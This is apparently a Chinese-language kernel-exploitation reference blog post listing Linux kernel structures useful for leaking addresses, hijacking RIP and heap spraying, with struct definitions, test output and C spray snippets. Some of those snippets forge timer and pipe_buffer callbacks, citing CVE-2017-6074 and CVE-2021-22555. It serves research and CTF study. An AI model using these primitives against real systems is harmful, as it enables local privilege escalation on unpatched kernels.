kernel exploit 有用的结构体——spray&victim

2021/09/26 Exploit-technique 共 21491 字,约 62 分钟

kernel exploit 有用的结构体——spray&victim


一、可用于 Leak/AAR/AAW/RIP劫持的结构体

说明目前缺少kmalloc-8kmalloc-16kmalloc-64kmalloc-512结构体。

1. shm_file_data

size: 0x20 kmalloc-32

内核基址:可泄露。其nsvm_ops指针可以泄露

heap:可泄露。file指向堆区域

stack:不能泄露

劫持RIP:不能

产生:调用shmat()映射共享内存

释放shmctl() ??

备注:尝试过重写vm_ops,但是没发现调用fake_vtable函数指针的情况。

struct shm_file_data {
	int id;
	struct ipc_namespace *ns;
	struct file *file;
	const struct vm_operations_struct *vm_ops;
};
/* 测试输出(对一个含UAF漏洞的test.ko进行测试)
0x0000:0x0000000000000000
0x0008:0xffffffff82292ae0
0x0010:0xffff88800ea09700
0x0018:0xffffffff81e15540
[+] kbase = 0xffffffff81000000
[+] kheap = 0xffff88800ea09700
*/

2. seq_operations

size: 0x20 kmalloc-32

内核基址:4个指针都能泄露出内核基址

heap:不能泄露

stack:不能泄露

劫持RIP:可劫持。修改start,并调用read,将劫持RIP

产生open("/proc/self/stat", O_RDONLY)

释放close()

struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};
/*
0x0000: 0xffffffff811c5f70
0x0008: 0xffffffff811c5f90
0x0010: 0xffffffff811c5f80
0x0018: 0xffffffff8120c3f0
[+] kbase = 0xffffffff81000000
Press enter to continue...
[    6.801190] BUG: unable to handle kernel paging request at 00000000deadbeef
*/

3. msg_msg (+user-supplied data)

size: 0x31-0x1000 kmalloc-64以上

内核基址:不能泄露

heap:可泄露。next指向前一个msgsnd消息(SLUB上)

stack:不能泄露

劫持RIP:不能

产生msgget() + msgsnd()

释放:到msgrcv(),接收顺序同发送顺序,所以kfree的顺序也是传输的顺序

备注:非常方便,因为结构的大小可变,但限制是前48字节是头结构,无法重写。

/* one msg_msg structure for each message */
struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};
/*
0x0000: 0xffff88800e1661c0
0x0008: 0xffff88800e1661c0
0x0010: 0x0000000000000001
0x0018: 0x0000000000000020
0x0020: 0x0000000000000000
0x0028: 0xffff88800e8c7f90
0x0030: 0x4242424241414141
0x0038: 0x4444444443434343
0x0040: 0x4646464645454545
0x0048: 0x0000000000000046
[+] kheap = 0xffff88800e1661c0
*/

4. subprocess_info

size: 0x60 kmalloc-128

内核基址:可泄露。work.func可能指向call_usermodehelper_exec_work

heap:可泄露。但尚未验证是哪些SLUB

stack:不能泄露。

劫持RIP:可劫持。重写cleanup

产生socket(22, AF_INET, 0) —— 未知协议

释放:与产生的路径相同

备注:通过竞争来设置info->cleanup,触发执行if (info->cleanup) info->cleanup(info); 劫持RIP的概率很大,但是构造ROP回到用户态后,会死在fs或者syscall。如果禁用SMAP,理论上可以将fd重写到用户态,并结合userfaultfd。

struct subprocess_info {
	struct work_struct work;
	struct completion *complete;
	const char *path;
	char **argv;
	char **envp;
	struct file *file;
	int wait;
	int retval;
	pid_t pid;
	int (*init)(struct subprocess_info *info, struct cred *new);
	void (*cleanup)(struct subprocess_info *info);
	void *data;
} __randomize_layout;
/*
0x0000: 0xffff88800f254380
0x0008: 0xffff88800f254e88
0x0010: 0xffff88800f254e88
0x0018: 0xffffffff81071380
0x0020: 0x0000000000000000
0x0028: 0xffffffff82242260
0x0030: 0xffff88800e0e3b40
0x0038: 0xffffffff82242180
0x0040: 0x0000000000000000
0x0048: 0x0000010000000006
0x0050: 0x0000000000000407
0x0058: 0x0000000000000000
[+] kbase = 0xffffffff81000000
[+] kheap = 0xffff88800f254380
Press enter to continue...
[    6.801190] BUG: unable to handle kernel paging request at 00000000deadbeef
*/

5.cred

size: 0xa8 kmalloc-192

内核基址:不能泄露。

heap:可泄露。通过session_keyring泄露,但是未验证属于哪种SLUB。

stack:不能泄露

劫持RIP:不能

产生:创建进程

释放:退出创建的进程。

备注:覆盖uid,gid = 0即可提权。

struct cred {
	atomic_t	usage;
    
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
    
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
    
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
    
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
    
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	
    /* RCU deletion */
	union {
		int non_rcu;			/* Can we skip RCU deletion? */
		struct rcu_head	rcu;		/* RCU deletion hook */
	};
} __randomize_layout;

6. file

sizekmalloc-256

内核基址:可泄露。f_op指针

heap:未验证。

stack:未验证。

劫持RIP:重写f_op中的shmctl()来控制,但由于UAF后文件结构没有重叠,验证失败。

产生shmget()创建共享内存。

释放shmctl()

struct file {
	union {
		struct llist_node	fu_llist;
		struct rcu_head 	fu_rcuhead;
	} f_u;
	struct path		f_path;
	struct inode		*f_inode;	/* cached value */
	const struct file_operations	*f_op;

	/*
	 * Protects f_ep_links, f_flags.
	 * Must not be taken from IRQ context.
	 */
	spinlock_t		f_lock;
	enum rw_hint		f_write_hint;
	atomic_long_t		f_count;
	unsigned int 		f_flags;
	fmode_t			f_mode;
	struct mutex		f_pos_lock;
	loff_t			f_pos;
	struct fown_struct	f_owner;
	const struct cred	*f_cred;
	struct file_ra_state	f_ra;

	u64			f_version;
#ifdef CONFIG_SECURITY
	void			*f_security;
#endif
	/* needed for tty driver, and maybe others */
	void			*private_data;

#ifdef CONFIG_EPOLL
	/* Used by fs/eventpoll.c to link all the hooks to this file */
	struct list_head	f_ep_links;
	struct list_head	f_tfile_llink;
#endif /* #ifdef CONFIG_EPOLL */
	struct address_space	*f_mapping;
	errseq_t		f_wb_err;
} __randomize_layout
  __attribute__((aligned(4)));	/* lest something weird decides that 2 is OK */

7. timerfd_ctx

sizekmalloc-256

内核基址:可泄露。通过tmr.function所指向的timerfd_tmrproc来泄露

heap:可泄露。通过tmr.base

stack:不能泄露。

劫持RIP:不能

产生timerfd_create()

释放close()

struct timerfd_ctx {
	union {
		struct hrtimer tmr;
		struct alarm alarm;
	} t;
	ktime_t tintv;
	ktime_t moffs;
	wait_queue_head_t wqh;
	u64 ticks;
	int clockid;
	short unsigned expired;
	short unsigned settime_flags;	/* to show in fdinfo */
	struct rcu_head rcu;
	struct list_head clist;
	spinlock_t cancel_lock;
	bool might_cancel;
};

struct hrtimer {
	struct timerqueue_node		node;
	ktime_t				_softexpires;
	enum hrtimer_restart		(*function)(struct hrtimer *);
	struct hrtimer_clock_base	*base;
	u8				state;
	u8				is_rel;
	u8				is_soft;
};
/*
0x0000:0xffff88800e216100
0x0008:0x0000000000000000
0x0010:0x0000000000000000
0x0018:0x000000183ca77938
0x0020:0x000000183ca77938
0x0028:0xffffffff811e7ef0
0x0030:0xffff88800f41ba80
...
[+] kbase = 0xffffffff81000000
[+] kbase = 0xffff88800f41ba80
*/

8. tty_struct

size:0x2e0 kmalloc-1024

内核基址:可泄露。ops指向的ptm_unix98_ops

heap:可泄露。通过devdriver,但是未验证属于哪种SLUB。

stack:似乎不能泄露。

劫持RIP:可劫持。重写ops函数表。

产生open("/dev/ptmx", O_RDWR | O_NOCTTY)

释放close()

struct tty_struct {
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
	int index;

	/* Protects ldisc changes: Lock tty not pty */
	struct ld_semaphore ldisc_sem;
	struct tty_ldisc *ldisc;

	struct mutex atomic_write_lock;
	struct mutex legacy_mutex;
	struct mutex throttle_mutex;
	struct rw_semaphore termios_rwsem;
	struct mutex winsize_mutex;
	spinlock_t ctrl_lock;
	spinlock_t flow_lock;
	/* Termios values are protected by the termios rwsem */
	struct ktermios termios, termios_locked;
	struct termiox *termiox;	/* May be NULL for unsupported */
	char name[64];
	struct pid *pgrp;		/* Protected by ctrl lock */
	struct pid *session;
	unsigned long flags;
	int count;
	struct winsize winsize;		/* winsize_mutex */
	unsigned long stopped:1,	/* flow_lock */
		      flow_stopped:1,
		      unused:BITS_PER_LONG - 2;
	int hw_stopped;
	unsigned long ctrl_status:8,	/* ctrl_lock */
		      packet:1,
		      unused_ctrl:BITS_PER_LONG - 9;
	unsigned int receive_room;	/* Bytes free for queue */
	int flow_change;

	struct tty_struct *link;
	struct fasync_struct *fasync;
	wait_queue_head_t write_wait;
	wait_queue_head_t read_wait;
	struct work_struct hangup_work;
	void *disc_data;
	void *driver_data;
	spinlock_t files_lock;		/* protects tty_files list */
	struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

	int closing;
	unsigned char *write_buf;
	int write_cnt;
	/* If the tty has a pending do_SAK, queue it here - akpm */
	struct work_struct SAK_work;
	struct tty_port *port;
} __randomize_layout;
/*
0x0000:0x0000000100005401
0x0008:0x0000000000000000
0x0010:0xffff88800f1ed840
0x0018:0xffffffff81e65900
0x0020: 0x0000000000000000
...
[+] kbase = 0xffffffff81000000
[+] kheap = 0xffff88800f1ed840
按回车继续...
[5.413411] BUG:无法在 00000000deadbeef 处处理内核分页请求
*/

9. pipe_buffer

参考CVE-2021-22555

sizekmalloc-1024GFP_KERNEL_ACCOUNT 标志。

内核基址:可泄露,ops指针指向anon_pipe_buf_ops函数表。

劫持RIPpipe_buffer->ops->release

分配链pipe() -> do_pipe2() -> __do_pipe_flags() -> create_pipe_files() -> get_pipe_inode() -> alloc_pipe_info() —— 分配大小为0x370(默认16个page,16*0x28=0x370)。

触发链pipe_release() -> put_pipe_info() -> free_pipe_info -> pipe_buf_release() 调用pipe_buffer->ops->release 函数

struct pipe_buffer {
	struct page *page;							// 读写pipe时, 实际上是读写page地址
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;		// <-------- 函数表
	unsigned int flags;
	unsigned long private;
};

struct pipe_buf_operations {
	int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);	// 确保 pipe buffer 中的数据有效,有效则返回0,无效则返回负值错误码。
	void (*release)(struct pipe_inode_info *, struct pipe_buffer *);// <-------- 释放 pipe buffer
	bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
	bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

构造

#define NUM_PIPEFDS 256
int pipefd[NUM_PIPEFDS][2];
// spray
  for (int i = 0; i < NUM_PIPEFDS; i++) {
    if (pipe(pipefd[i]) < 0) {
      perror("[-] pipe");
      goto err_rmid;
    }
    // Write something to populate pipe_buffer.
    if (write(pipefd[i][1], "pwn", 3) < 0) {
      perror("[-] write");
      goto err_rmid;
    }
  }
// release, trigger
  for (int i = 0; i < NUM_PIPEFDS; i++) {
    if (close(pipefd[i][0]) < 0) {
      perror("[-] close");
      goto err_rmid;
    }
    if (close(pipefd[i][1]) < 0) {
      perror("[-] close");
      goto err_rmid;
    }
  }

10. packet_socket

参考CVE-2016-8655 CVE-2017-6074

sizekmalloc-2048 5.11.14版本中大小为0x5c0。

劫持RIP

  • packet_sock -> rx_ring -> prb_bdqc -> retire_blk_timer -> function。在timeout超时后调用,可传参,可用于执行native_write_cr4(0x406e0)来关闭SMEP/SMAP。
  • packet_socket -> xmit。在接收数据时调用。

分配 packet_socksocket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); —— sock(AF_PACKET) -> packet_create -> sk_alloc

分配timersetsockopt(fd, SOL_PACKET, PACKET_RX_RING, (void*)&tp, sizeof(tp)); —— packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()->prb_init_blk_timer()

struct packet_sock {
	/* struct sock has to be the first member of packet_sock */
	struct sock		sk;
	struct packet_fanout	*fanout;
	union  tpacket_stats_u	stats;
	struct packet_ring_buffer	rx_ring;					// <--------------- rx_ring
	struct packet_ring_buffer	tx_ring;
	... ...
	int			(*xmit)(struct sk_buff *skb);
	struct packet_type	prot_hook ____cacheline_aligned_in_smp;
};
struct packet_ring_buffer {
    struct pgv        *pg_vec;
    ... ...
    unsigned int        pg_vec_order;
    unsigned int        pg_vec_pages;
    unsigned int        pg_vec_len;

    unsigned int __percpu    *pending_refcnt;

    struct tpacket_kbdq_core    prb_bdqc;                    // <---------------- prb_bdqc
};
/* kbdq - kernel block descriptor queue */
struct tpacket_kbdq_core {
    struct pgv    *pkbdq;
    ... ...
    struct sk_buff    *skb;                                    // <---------------- skb
	... ...
    unsigned short  retire_blk_tov;
    unsigned short  version;
    unsigned long    tov_in_jiffies;

    struct timer_list retire_blk_timer;                        // <---------------- retire_blk_timer
};
struct timer_list {
    struct hlist_node    entry;
    unsigned long        expires;
    void            (*function)(unsigned long);                // 待伪造的回调函数
    unsigned long        data;                                 // 参数
    u32            flags;
#ifdef CONFIG_TIMER_STATS
    int            start_pid;
    void            *start_site;
    char            start_comm[16];
#endif
#ifdef CONFIG_LOCKDEP
    struct lockdep_map    lockdep_map;
#endif
};

构造:来自 CVE-2017-6074

#define TIMER_OFFSET		(744 + 48 + 104)
void init_timer_buffer(char* buffer, void *func, unsigned long arg) {
	memset(&buffer[0], 0, 2048);
	struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];
	timer->next = 0;
	timer->prev = 0;
	timer->expires = 4294943360;
	timer->function = func;
	timer->data = arg;
	timer->flags = 1;
	timer->slack = -1;
}

int timers[6];
int optval = TPACKET_V3;
struct tpacket_req3 tp;
struct udp_fifo_handle uh3;
socketpair(AF_LOCAL, SOCK_DGRAM, 0, uh3->fds);
// 创建 timer
for (i = 0; i < 6; i++) {	
	timer[i] = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    setsockopt(timer[i], SOL_PACKET, PACKET_VERSION, &optval, sizeof(optval));
	memset(&tp, 0, sizeof(tp));
	tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
	tp.tp_block_nr = 1;
	tp.tp_frame_size = getpagesize();
	tp.tp_frame_nr = CONF_RING_FRAMES;
	tp.tp_retire_blk_tov = timeout;		// timeout = 500 (0.5s)
	setsockopt(timer[i], SOL_PACKET, PACKET_RX_RING, (void *)&tp, sizeof(tp));
}
// 堆喷伪造timer
char buffer[2048];
init_timer_buffer(&buffer[0], func, arg);
send(uh3->fds[0], buffer, 1536, 0);		// 1536=0x600
sleep(1); 								// 等待触发 

11. sk_buff 线性数据区

参考CVE-2017-6074

size:2048

劫持RIPsk_buff -> skb_shared_info -> ubuf_info -> callback 注意skb_shared_info结构的偏移为sk_buff->head+sk_buff->end

struct sk_buff {
	union {
		struct {
			/* These two members must be first. */
			struct sk_buff		*next;
			struct sk_buff		*prev;
  ... ... 
	sk_buff_data_t		tail;
	sk_buff_data_t		end;
	unsigned char		*head,
				*data;														// <------------ (head+end) 指向 skb_shared_info 结构
	unsigned int		truesize;
	atomic_t		users;
};

struct skb_shared_info {
	unsigned char	nr_frags;
	__u8		tx_flags;
	unsigned short	gso_size;
	/* Warning: this field is not always filled in (UFO)! */
	unsigned short	gso_segs;
	unsigned short  gso_type;
	struct sk_buff	*frag_list;
	struct skb_shared_hwtstamps hwtstamps;
	u32		tskey;
	__be32          ip6_frag_id;
	atomic_t	dataref;
	void *		destructor_arg;											// <------------ 指向 ubuf_info 结构
	skb_frag_t	frags[MAX_SKB_FRAGS];
};

struct ubuf_info {
	void (*callback)(struct ubuf_info *, bool zerocopy_success);		// <------------ 待伪造的回调函数
	void *ctx;
	unsigned long desc;
};

分配sendmsg -> packet_sendmsg() -> packet_snd() -> packet_alloc_skb() -> sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb() 还有很多协议及调用链都会用到skb。

释放链dccp_close() -> inet_csk_destroy_sock() -> dccp_v6_destroy_sock() -> inet6_destroy_sock() -> kfree_skb() -> __kfree_skb() -> skb_release_all() -> skb_release_data() 执行回调函数skb-> ... ->destructor_arg->callback

构造:只有CVE-2017-6074漏洞中,由于dccp拥塞控制协议对sk_buff结构进行了double-free,可堆喷劫持。


二、可用于任意数据写入/堆喷的结构

1. msg_msg —— msgsnd()

参考: msgsnd linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

构造msgsnd()发送,msgrcv()接收。

// 只能控制0x30字节以后的内容
struct {
  long mtype;
  char mtext[BUFF_SIZE];
}msg;
memset(msg.mtext, 0x42, BUFF_SIZE-1); // 布置用户空间的内容
msg.mtext[BUFF_SIZE] = 0;
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
msg.mtype = 1; //必须 > 0
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 120; i++)
  msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
// 触发UAF即可

2. sendmsg()

参考linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

size:可选(>=2)

产生sendmsg,数据放入msg.msg_control指针。

释放:与产生路径相同。

备注:与setxattr相同,可与userfaultfd结合使用。

// 限制: BUFF_SIZE > 44
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
// 布置用户空间buff的内容
msg.msg_control = buff;
msg.msg_controllen = BUFF_SIZE; 
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 100000; i++) {
  sendmsg(sockfd, &msg, 0);
}
// 触发UAF即可

// 方法2
	int sock[2];
	socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);
	struct mmsghdr msg[1];

	msg[0].msg_hdr.msg_iovlen = 0;
	// Buffer to kmalloc.
	msg[0].msg_hdr.msg_control = &buffer[0];
	msg[0].msg_hdr.msg_controllen = 2048;
	// Make sendmmsg exit easy with EINVAL.
	msg[0].msg_hdr.msg_name = "root";
	msg[0].msg_hdr.msg_namelen = 1;
	syscall(__NR_sendmmsg, sock[0], msg, 1, 0);

3. setxattr

参考setxattr+userfault堆喷 CVE-2019-15666 xfrm UAF 8字节写NULL提权分析

size:可选(<65536)

产生setxattr()

static long setxattr(struct dentry *d, const char __user *name, const void __user *value,
	 size_t size, int flags)
{
	int error;
	void *kvalue = NULL;
	char kname[XATTR_NAME_MAX + 1];
	... ...
	if (size) {
		if (size > XATTR_SIZE_MAX)
			return -E2BIG;
		kvalue = kvmalloc(size, GFP_KERNEL);				// [1] 分配空间
		if (!kvalue)
			return -ENOMEM;
		if (copy_from_user(kvalue, value, size)) {			// [2] 拷贝用户数据
			error = -EFAULT;
			goto out;
		}
		if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
		    (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
			posix_acl_fix_xattr_from_user(kvalue, size);
	}

	error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
	kvfree(kvalue);											// [3] 释放空间

	return error;
}

释放:与产生路径相同。

备注:与userfaultfd结合使用。弥补msgsnd前48字节无法覆盖的缺陷。

	void *addr;
    addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */
    setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */

4. pipe() —— pipe_buffer

参考【内核漏洞利用】WCTF 2018 klist—竞争UAF-pipe堆喷 linux kernel pwn学习之条件竞争(一)

write链write -> ksys_write -> vfs_write -> new_sync_write() -> call_write_iter() -> pipe_write() 将数据写入了pipe_buffer->page中(页=4k),所以不能任意布置数据,参考中用到pipe堆喷是因为pipe_buffer->offsetpipe_buffer->len恰好将改题中结构的第2个8字节—size覆盖很大,导致越界读写。

read链read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> pipe_read()

构造

	#define SIZE 0x280
	char* buf2 = malloc(SIZE);	
    memset(buf2, 'E', SIZE);
    int fds[2];

    pipe(&fds[0]);
    // 堆喷,把结构中的size域覆盖很大,这样就能任意读写
    for(int i = 0; i < 9; i++)
      write(fds[1], buf2, SIZE); 

5. add_key()

参考CVE-2017-2636

size:<= kmalloc-8192 最大不超过 /proc/sys/kernel/keys/maxbytes 中规定的值,默认为20000。

产生add_key

SYSCALL_DEFINE5(add_key, const char __user *, _type,
		const char __user *, _description,
		const void __user *, _payload,
		size_t, plen,
		key_serial_t, ringid)
{
	key_ref_t keyring_ref, key_ref;
	char type[32], *description;
	void *payload;
	long ret;
	... ... 		// 读取type/description
	payload = NULL;

	if (plen) {
		ret = -ENOMEM;
		payload = kvmalloc(plen, GFP_KERNEL);				// [1] 分配空间
		if (!payload)
			goto error2;

		ret = -EFAULT;
		if (copy_from_user(payload, _payload, plen) != 0)	// [2] 拷贝用户数据
			goto error3;
	}
	... ...
 error:
	return ret;
}

构造

// 方法1
void spray_addkey(int count) {
	int i;
	char payload[BUF_SIZE];
	char desc[256];
	memset(payload, 0x42, BUF_SIZE);
	for(i=0; i<count; i++) {
		sprintf(desc, "payload%d", i);
		add_key_arr[i] = _add_key("user", desc, payload, 0x300, KEY_SPEC_PROCESS_KEYRING);
	}
}
// 方法2
#include <linux/keyctl.h>
#define PAYLOAD_SZ			8100
k[0] = syscall(__NR_add_key, "user", "payload1", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
k[1] = syscall(__NR_add_key, "user", "payload2", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);

6. sk_buff

参考:喷射参考CVE-2021-22555,介绍参考CVE-2017-6074

size:0x280 不包含头信息,可喷射前面的字节,如喷射伪造pipe_buffer->ops

创建链write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb()

read链read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> sock_read_iter() -> sock_recvmsg() -> sock_recvmsg_nosec() -> unix_stream_recvmsg() -> unix_stream_read_generic() -> unix_stream_read_actor() -> skb_copy_datagram_msg() -> skb_copy_datagram_iter() -> __skb_datagram_iter()

write链write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> skb_copy_datagram_from_iter()

static ssize_t sock_write_iter(struct kiocb *iocb, struct iov_iter *from)
{
	struct file *file = iocb->ki_filp;
	struct socket *sock = file->private_data;
	struct msghdr msg = {.msg_iter = *from,		// 组装msg结构, 最开始是调用write进行堆喷的,所以没有传入msghdr结构(同sendmsg堆喷时传入的结构一样)
			     .msg_iocb = iocb};
	ssize_t res;

	if (iocb->ki_pos != 0)
		return -ESPIPE;

	if (file->f_flags & O_NONBLOCK || (iocb->ki_flags & IOCB_NOWAIT))
		msg.msg_flags = MSG_DONTWAIT;

	if (sock->type == SOCK_SEQPACKET)
		msg.msg_flags |= MSG_EOR;

	res = sock_sendmsg(sock, &msg);				//
	*from = msg.msg_iter;
	return res;
}

int skb_copy_datagram_from_iter(struct sk_buff *skb, int offset,
				 struct iov_iter *from,
				 int len)
{
	int start = skb_headlen(skb);			// skb->len - skb->data_len;
	int i, copy = start - offset;			// copy 是线性数据区的剩余空间大小
	struct sk_buff *frag_iter;
// [1] 拷贝到线性数据区 skb->data
	if (copy > 0) {
		if (copy > len)
			copy = len;
		if (copy_from_iter(skb->data + offset, copy, from) != copy)
			goto fault;
		if ((len -= copy) == 0)
			return 0;
		offset += copy;
	}
// [2] 拷贝到非线性数据区 skb->frags
	for (i = 0; i < skb_shinfo(skb)->nr_frags; i++) {
		int end;
		const skb_frag_t *frag = &skb_shinfo(skb)->frags[i];

		WARN_ON(start > offset + len);

		end = start + skb_frag_size(frag);
		if ((copy = end - offset) > 0) {
			size_t copied;

			if (copy > len)
				copy = len;
			copied = copy_page_from_iter(skb_frag_page(frag),
					  skb_frag_off(frag) + offset - start,
					  copy, from);
			if (copied != copy)
				goto fault;

			if (!(len -= copy))
				return 0;
			offset += copy;
		}
		start = end;
	}
// [3] 拷贝到非线性数据区 skb->fraglist
	skb_walk_frags(skb, frag_iter) {	// for (iter = skb_shinfo(skb)->frag_list; iter; iter = iter->next)
		int end;

		WARN_ON(start > offset + len);

		end = start + frag_iter->len;
		if ((copy = end - offset) > 0) {
			if (copy > len)
				copy = len;
			if (skb_copy_datagram_from_iter(frag_iter,
							offset - start,
							from, copy))
				goto fault;
			if ((len -= copy) == 0)
				return 0;
			offset += copy;
		}
		start = end;
	}
	if (!len)
		return 0;
	... ...
}
EXPORT_SYMBOL(skb_copy_datagram_from_iter);

构造

#define SKB_SHARED_INFO_SIZE 0x140
#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
int ss[NUM_SOCKETS][2];
char buf[0x400 - SKB_SHARED_INFO_SIZE];
for (int i = 0; i < NUM_SOCKETS; i++) 
    socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]);
struct pipe_buffer *p_buf = (struct pipe_buffer *)&buf;			// 伪造 pipe_buffer->ops
p_buf->ops = kheap_addr + 0x290;
struct pipe_buf_operations *ops = (struct pipe_buf_operations *)&buf[0x290];
ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
for (int i = 0; i < NUM_SOCKETS; i++) {
   for (int j = 0; j < NUM_SKBUFFS; j++) {
     if (write(ss[i][0], buf, 0x400-0x140) < 0) {
       perror("[-] write");
       return -1;
     }
   }
}
// 读取skb内容
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (read(ss[i][1], buf, sizeof(buf)) < 0) {
        perror("[-] read");
        goto err_rmid;
      }
      if (*(uint64_t *)&buf[0x10] != MTYPE_FAKE)
        pipe_buffer_ops = *(uint64_t *)&buf[0x10];				// 泄露 pipe_buffer->ops —— 内核基址
    }
  }
// 释放skb
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (read(ss[i][1], buf, 0x400-0x140) < 0) {
        perror("[-] read");
        return -1;
      }
    }
  }

参考:

Kernel Exploit 用到的结构体

https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628 实验环境下载

文档信息

Search

    Table of Contents